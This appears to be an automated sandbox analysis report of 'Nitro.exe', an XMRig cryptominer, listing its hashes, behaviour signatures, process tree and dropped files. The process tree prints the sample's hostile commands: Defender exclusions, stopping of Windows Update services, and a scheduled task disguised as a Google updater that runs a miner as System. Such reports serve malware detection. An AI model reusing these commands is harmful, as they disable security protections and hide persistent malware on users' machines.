Analysis

  • max time kernel
    131s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2024, 13:34

General

  • Target

    Nitro.exe

  • Size

    56.5MB

  • MD5

    cb5704b35d6f1420581b825a8faee883

  • SHA1

    966b5157bd954ca13385db782b39ed56c5a52b9e

  • SHA256

    6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a

  • SHA512

    7276ed0bf256bc9895712c5de6d8c25851d867c62b2688d44e7cbd3ef63eeee0774345e3221665e3fb8e5a24343d7c45dafac7e308b1a67db24d8afab0ce91cb

  • SSDEEP

    786432:brZMUVo6ix6I/AXpORG0zC5lYSI0yhRaJ9r3uXSr7dcS1Se34sey66TM0Mg0G+/c:bAwIcpIGsERI0puXSr7qS1eGsO+/QD

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3460
      • C:\Users\Admin\AppData\Local\Temp\Nitro.exe
        "C:\Users\Admin\AppData\Local\Temp\Nitro.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4956
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:1316
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:4640
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2780
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2516
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:3204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3056
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:3668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:720
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4392
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:4652
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:2416
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:2456
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:2180
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:4032
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3220
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:4912
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4312
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3196

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                9c172d22fbbdafe12dfc5c909edea107

                SHA1

                9961cfc5a51f1d375186fc64bf98214bdc0cf2df

                SHA256

                315439a1131019ecb316a0344395624965a961baff563be19221620e6e3dc18d

                SHA512

                d459ca5a3abd05b5bff39056065e786eec0260cb83b03c774ab0b98f07dfc8ef7dd5db5f37c569ac0d531ebd640c6dc0aaefc407d357280e07b011e982b91e2d

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                4c29bce287342155e5bbeedebea6335d

                SHA1

                fc6bd7f43dff1799a0c856b9bf257e0396687730

                SHA256

                f60a63d0c36545a4dc507d35536a898c6fb5cc98f5ef1d3bfa27ad845cf8a639

                SHA512

                3824c10f682870c127a0bbbb2c45fed054d12b21b67b7f544cdaf59552a09bead95ce16df002391a74584cccc79dc69b24688512b294724d32e457205950f187

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k3ayv1xv.l5q.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                4KB

                MD5

                bdb25c22d14ec917e30faf353826c5de

                SHA1

                6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                SHA256

                e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                SHA512

                b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                b42c70c1dbf0d1d477ec86902db9e986

                SHA1

                1d1c0a670748b3d10bee8272e5d67a4fabefd31f

                SHA256

                8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

                SHA512

                57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

              • memory/720-57-0x0000022EF7B20000-0x0000022EF7B28000-memory.dmp

                Filesize

                32KB

              • memory/720-54-0x0000022EF7B30000-0x0000022EF7B4C000-memory.dmp

                Filesize

                112KB

              • memory/720-58-0x0000022EF7B50000-0x0000022EF7B56000-memory.dmp

                Filesize

                24KB

              • memory/720-59-0x0000022EF7B60000-0x0000022EF7B6A000-memory.dmp

                Filesize

                40KB

              • memory/720-56-0x0000022EF7B70000-0x0000022EF7B8A000-memory.dmp

                Filesize

                104KB

              • memory/720-55-0x0000022EF7B10000-0x0000022EF7B1A000-memory.dmp

                Filesize

                40KB

              • memory/720-51-0x0000022EF78F0000-0x0000022EF790C000-memory.dmp

                Filesize

                112KB

              • memory/720-52-0x0000022EF7910000-0x0000022EF79C5000-memory.dmp

                Filesize

                724KB

              • memory/720-53-0x0000022EF6CE0000-0x0000022EF6CEA000-memory.dmp

                Filesize

                40KB

              • memory/3004-30-0x00007FF6FFEE0000-0x00007FF703770000-memory.dmp

                Filesize

                56.6MB

              • memory/3004-0-0x00007FF6FFEE0000-0x00007FF703770000-memory.dmp

                Filesize

                56.6MB

              • memory/3196-32-0x00007FF6D9C70000-0x00007FF6DD500000-memory.dmp

                Filesize

                56.6MB

              • memory/3196-88-0x00007FF6D9C70000-0x00007FF6DD500000-memory.dmp

                Filesize

                56.6MB

              • memory/3220-82-0x000002837C530000-0x000002837C5E5000-memory.dmp

                Filesize

                724KB

              • memory/4312-105-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-101-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-99-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-103-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-89-0x0000000001AD0000-0x0000000001AF0000-memory.dmp

                Filesize

                128KB

              • memory/4312-95-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-107-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-91-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-93-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4312-97-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

                Filesize

                7.9MB

              • memory/4912-90-0x00007FF62DDB0000-0x00007FF62DDDA000-memory.dmp

                Filesize

                168KB

              • memory/4912-94-0x00007FF62DDB0000-0x00007FF62DDDA000-memory.dmp

                Filesize

                168KB

              • memory/4956-1-0x00007FF984633000-0x00007FF984635000-memory.dmp

                Filesize

                8KB

              • memory/4956-11-0x0000024DEA910000-0x0000024DEA932000-memory.dmp

                Filesize

                136KB

              • memory/4956-12-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

                Filesize

                10.8MB

              • memory/4956-13-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

                Filesize

                10.8MB

              • memory/4956-16-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

                Filesize

                10.8MB